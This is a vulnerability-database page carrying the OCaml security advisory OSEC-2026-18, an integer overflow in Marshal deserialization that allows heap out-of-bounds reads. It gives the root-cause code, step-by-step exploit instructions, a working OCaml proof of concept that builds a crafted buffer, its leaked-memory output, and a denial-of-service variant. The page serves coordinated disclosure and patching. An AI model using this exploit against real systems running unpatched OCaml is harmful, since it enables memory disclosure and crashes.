GCVE Workshop - 22 September 2026 (14:00-18:00), Luxembourg Before The Vulnopticon Conference - Registration
OSEC-2026-18
Vulnerability from osv_ocaml
Published
2026-09-10 10:00
Modified
2026-09-10 10:00
Summary
Marshal integer overflow leads to out-of-heap read
Details

An integer overflow in the length-validation logic of OCaml's Marshal deserializer allows a crafted serialized object to bypass all bounds checks added by the CVE-2026-28364 fix, producing heap out-of-bounds reads from Marshal.from_bytes / Marshal.from_string (and the C API caml_input_value_from_block).

Root cause

runtime/intern.c validates declared data length against the input buffer with unsigned 64-bit addition that can wrap:

/* caml_input_val_from_bytes, intern.c:1038 */
if (ofs + h.header_len + h.data_len > caml_string_length(str))
  caml_failwith("input_val_from_string: bad length");

h.data_len is fully attacker-controlled (8-byte field read straight from the stream for Intext_magic_number_big). With data_len >= 2^64 - (ofs + h.header_len), the sum wraps to a small value and the check passes.

The CVE-2026-28364 fix introduced:

/* intern.c:1043 (added by the fix) */
s->intern_src_end = s->intern_src + h.data_len;   /* wraps to a pointer BEFORE the buffer */

intern_src_end wraps to a location before intern_src, so every intern_check_read() bound added by the fix (len > end - src with a negative diff promoted to a huge uintnat) evaluates false for any realistic length. The parser (intern_rec) then honors attacker-controlled read lengths (readblock up to Max_wosize bytes) against memory far beyond the input buffer.

The OCaml-side wrapper validation in stdlib/marshal.ml is bypassed by the same wrap, via caml_marshal_data_size (intern.c:1116-1150):

return Val_long((header_len - 16) + data_len);   /* wraps to 0 / negative */

Marshal.from_bytes (marshal.ml:55-62) calls data_size_unsafe first, gets a wrapped len (0 or negative), and its re-check ofs > Bytes.length buff - (header_size + len) passes.

The same unchecked wrap exists in caml_input_value_from_buffer (intern.c:1080), used by the public C API caml_input_value_from_block and caml_input_value_from_malloc - these have no OCaml-side validation at all.

Exploit path

  1. Craft 32-byte header: Intext_magic_number_big + 4 padding bytes + data_len = 2^64 - 16 + num_objects = 0 + whsize = 0.
  2. Append a valid object code byte stream (e.g., a "small string" code 0x3F = 31 bytes, or CODE_STRING32 with an arbitrary length).
  3. Call Marshal.from_bytes buf 0 (or Marshal.from_string).
  4. data_size_unsafe returns 0; OCaml-side check passes.
  5. C-side check 0 + 32 + (2^64-16) = 16 > len passes (wrapped).
  6. intern_src_end wraps to buf + 16; all intern_check_read pass.
  7. intern_rec executes readblock(s, dest, len) with attacker-chosen len, memcpy-ing heap memory past the buffer end into the returned string (info leak), or a huge len (SIGBUS/SIGSEGV, DoS).

Proof of concept

Tested on: macOS arm64, OCaml 5.5.0 (Homebrew), ocamlopt.

1. Heap information disclosure (clean, no crash)

let () =
  let buf = Bytes.create 40 in
  Bytes.set buf 0 (Char.chr 0x84); Bytes.set buf 1 (Char.chr 0x95);
  Bytes.set buf 2 (Char.chr 0xa6); Bytes.set buf 3 (Char.chr 0xbf);
  for i = 4 to 7 do Bytes.set buf i '\000' done;
  for i = 8 to 15 do Bytes.set buf i '\xff' done;
  Bytes.set buf 15 (Char.chr 0xf0);          (* data_len = 2^64 - 16 *)
  for i = 16 to 31 do Bytes.set buf i '\000' done;  (* num_objects = whsize = 0 *)
  Bytes.set buf 32 (Char.chr 0x3f);          (* small string, len 31 *)
  for i = 33 to 39 do Bytes.set buf i 'A' done;     (* only 7 real bytes follow *)
  let s : string = Marshal.from_bytes buf 0 in
  Printf.printf "len=%d content=%S\n" (String.length s) s

Output (24 bytes past the 40-byte buffer leaked into the returned string):

len=31 content="AAAAAAA\000\000\000\000\000\000\007\000\b\000\000\000\000\000\000\152\018\001\003\001\000\000\000"

2. Denial of service (crash)

Same header; stream byte 32 = 0x0A (CODE_STRING32), big-endian 0x40000000 (1 GB) length, 37-byte buffer:

$ ./crash; echo "exit=$?"
exit=138        (128 + SIGBUS)

Timeline

  • 2026-08-15: report to security@ocaml.org
  • 2026-08-25: patch developed
  • 2026-09-03: patch merged into trunk, 5.5, and 4.14 branches
  • 2026-09-05: release of OCaml 5.5.1
  • 2026-09-10: advisory published

{
  "affected": [
    {
      "ecosystem_specific": {
        "opam_constraint": "ocaml {\u003c \"5.5.1\"}"
      },
      "package": {
        "ecosystem": "opam",
        "name": "ocaml",
        "purl": "pkg:opam/ocaml"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "5.5.1"
            }
          ],
          "type": "ECOSYSTEM"
        },
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "928e7c8a950db8730e8e84105d3be347cae38f5c"
            }
          ],
          "repo": "https://github.com/ocaml/ocaml",
          "type": "GIT"
        },
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "304654884d0c90b2e4ab673ff88caef38b05c714"
            }
          ],
          "repo": "https://github.com/ocaml/ocaml",
          "type": "GIT"
        },
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "428288660cc1f655605347e09e2fbc0b0a404660"
            }
          ],
          "repo": "https://github.com/ocaml/ocaml",
          "type": "GIT"
        }
      ],
      "versions": [
        "3.07",
        "3.07+1",
        "3.07+2",
        "3.08.0",
        "3.08.1",
        "3.08.2",
        "3.08.3",
        "3.08.4",
        "3.09.0",
        "3.09.1",
        "3.09.2",
        "3.09.3",
        "3.10.0",
        "3.10.1",
        "3.10.2",
        "3.11.0",
        "3.11.1",
        "3.11.2",
        "3.12.0",
        "3.12.1",
        "4.00.0",
        "4.00.1",
        "4.01.0",
        "4.02.0",
        "4.02.1",
        "4.02.2",
        "4.02.3",
        "4.02.4",
        "4.03.0",
        "4.03.1",
        "4.04.0",
        "4.04.1",
        "4.04.2",
        "4.04.3",
        "4.05.0",
        "4.05.1",
        "4.06.0",
        "4.06.1",
        "4.06.2",
        "4.07.0",
        "4.07.1",
        "4.07.2",
        "4.08.0",
        "4.08.1",
        "4.08.2",
        "4.09.0",
        "4.09.1",
        "4.09.2",
        "4.10.0",
        "4.10.1",
        "4.10.2",
        "4.10.3",
        "4.11.0",
        "4.11.1",
        "4.11.2",
        "4.11.3",
        "4.12.0",
        "4.12.1",
        "4.12.2",
        "4.13.0",
        "4.13.1",
        "4.13.2",
        "4.14.0",
        "4.14.1",
        "4.14.2",
        "4.14.3",
        "4.14.4",
        "4.14.5",
        "5.0.0",
        "5.0.1",
        "5.1.0",
        "5.1.1",
        "5.1.2",
        "5.2.0",
        "5.2.1",
        "5.2.2",
        "5.3.0",
        "5.3.1",
        "5.4.0",
        "5.4.1",
        "5.4.2",
        "5.5.0"
      ]
    }
  ],
  "aliases": [
    "CVE-2026-28364"
  ],
  "credits": [
    {
      "name": "Akshay M Singh",
      "type": "REPORTER"
    },
    {
      "name": "Xavier Leroy",
      "type": "REMEDIATION_DEVELOPER"
    },
    {
      "name": "Nicol\u00e1s Ojeda B\u00e4r",
      "type": "REMEDIATION_REVIEWER"
    },
    {
      "name": "Antonin D\u00e9cimo",
      "type": "REMEDIATION_REVIEWER"
    },
    {
      "name": "Hannes Mehnert",
      "type": "COORDINATOR"
    }
  ],
  "database_specific": {
    "cwe": [
      "CWE-190",
      "CWE-125"
    ],
    "human_link": "https://github.com/ocaml/security-advisories/tree/main/advisories/2026/OSEC-2026-18.md",
    "osv": "https://github.com/ocaml/security-advisories/tree/generated-osv/2026/OSEC-2026-18.json"
  },
  "details": "An integer overflow in the length-validation logic of OCaml\u0027s Marshal deserializer allows a crafted serialized object to bypass all bounds checks added by the CVE-2026-28364 fix, producing **heap out-of-bounds reads** from `Marshal.from_bytes` / `Marshal.from_string` (and the C API `caml_input_value_from_block`).\n\n## Root cause\n\n`runtime/intern.c` validates declared data length against the input buffer with unsigned 64-bit addition that can wrap:\n\n```c\n/* caml_input_val_from_bytes, intern.c:1038 */\nif (ofs + h.header_len + h.data_len \u003e caml_string_length(str))\n  caml_failwith(\"input_val_from_string: bad length\");\n```\n\n`h.data_len` is fully attacker-controlled (8-byte field read straight from the stream for `Intext_magic_number_big`). With `data_len \u003e= 2^64 - (ofs + h.header_len)`, the sum wraps to a small value and the check passes.\n\nThe CVE-2026-28364 fix introduced:\n\n```c\n/* intern.c:1043 (added by the fix) */\ns-\u003eintern_src_end = s-\u003eintern_src + h.data_len;   /* wraps to a pointer BEFORE the buffer */\n```\n\n`intern_src_end` wraps to a location *before* `intern_src`, so every `intern_check_read()` bound added by the fix (`len \u003e end - src` with a negative diff promoted to a huge `uintnat`) evaluates **false** for any realistic length. The parser (`intern_rec`) then honors attacker-controlled read lengths (`readblock` up to `Max_wosize` bytes) against memory far beyond the input buffer.\n\nThe OCaml-side wrapper validation in `stdlib/marshal.ml` is bypassed by the same wrap, via `caml_marshal_data_size` (intern.c:1116-1150):\n\n```c\nreturn Val_long((header_len - 16) + data_len);   /* wraps to 0 / negative */\n```\n\n`Marshal.from_bytes` (marshal.ml:55-62) calls `data_size_unsafe` first, gets a wrapped `len` (0 or negative), and its re-check `ofs \u003e Bytes.length buff - (header_size + len)` passes.\n\nThe same unchecked wrap exists in `caml_input_value_from_buffer` (intern.c:1080), used by the public C API `caml_input_value_from_block` and `caml_input_value_from_malloc` - these have no OCaml-side validation at all.\n\n## Exploit path\n\n1. Craft 32-byte header: `Intext_magic_number_big` + 4 padding bytes + `data_len = 2^64 - 16` + `num_objects = 0` + `whsize = 0`.\n2. Append a valid object code byte stream (e.g., a \"small string\" code `0x3F` = 31 bytes, or `CODE_STRING32` with an arbitrary length).\n3. Call `Marshal.from_bytes buf 0` (or `Marshal.from_string`).\n4. `data_size_unsafe` returns 0; OCaml-side check passes.\n5. C-side check `0 + 32 + (2^64-16) = 16 \u003e len` passes (wrapped).\n6. `intern_src_end` wraps to `buf + 16`; all `intern_check_read` pass.\n7. `intern_rec` executes `readblock(s, dest, len)` with attacker-chosen `len`, `memcpy`-ing heap memory past the buffer end into the returned string (info leak), or a huge `len` (SIGBUS/SIGSEGV, DoS).\n\n## Proof of concept\n\nTested on: macOS arm64, OCaml 5.5.0 (Homebrew), `ocamlopt`.\n\n### 1. Heap information disclosure (clean, no crash)\n\n```ocaml\nlet () =\n  let buf = Bytes.create 40 in\n  Bytes.set buf 0 (Char.chr 0x84); Bytes.set buf 1 (Char.chr 0x95);\n  Bytes.set buf 2 (Char.chr 0xa6); Bytes.set buf 3 (Char.chr 0xbf);\n  for i = 4 to 7 do Bytes.set buf i \u0027\\000\u0027 done;\n  for i = 8 to 15 do Bytes.set buf i \u0027\\xff\u0027 done;\n  Bytes.set buf 15 (Char.chr 0xf0);          (* data_len = 2^64 - 16 *)\n  for i = 16 to 31 do Bytes.set buf i \u0027\\000\u0027 done;  (* num_objects = whsize = 0 *)\n  Bytes.set buf 32 (Char.chr 0x3f);          (* small string, len 31 *)\n  for i = 33 to 39 do Bytes.set buf i \u0027A\u0027 done;     (* only 7 real bytes follow *)\n  let s : string = Marshal.from_bytes buf 0 in\n  Printf.printf \"len=%d content=%S\\n\" (String.length s) s\n```\n\nOutput (24 bytes past the 40-byte buffer leaked into the returned string):\n\n```\nlen=31 content=\"AAAAAAA\\000\\000\\000\\000\\000\\000\\007\\000\\b\\000\\000\\000\\000\\000\\000\\152\\018\\001\\003\\001\\000\\000\\000\"\n```\n\n### 2. Denial of service (crash)\n\nSame header; stream byte 32 = `0x0A` (`CODE_STRING32`), big-endian `0x40000000` (1 GB) length, 37-byte buffer:\n\n```\n$ ./crash; echo \"exit=$?\"\nexit=138        (128 + SIGBUS)\n```\n\n## Timeline\n\n- 2026-08-15: report to security@ocaml.org\n- 2026-08-25: patch developed\n- 2026-09-03: patch merged into trunk, 5.5, and 4.14 branches\n- 2026-09-05: release of OCaml 5.5.1\n- 2026-09-10: advisory published",
  "id": "OSEC-2026-18",
  "modified": "2026-09-10T10:00:00Z",
  "published": "2026-09-10T10:00:00Z",
  "references": [
    {
      "type": "FIX",
      "url": "https://github.com/ocaml/ocaml/pull/15019"
    },
    {
      "type": "FIX",
      "url": "https://github.com/ocaml/ocaml/pull/15030"
    }
  ],
  "related": [
    "OSEC-2026-01"
  ],
  "schema_version": "1.7.4",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Marshal integer overflow leads to out-of-heap read"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.


Loading…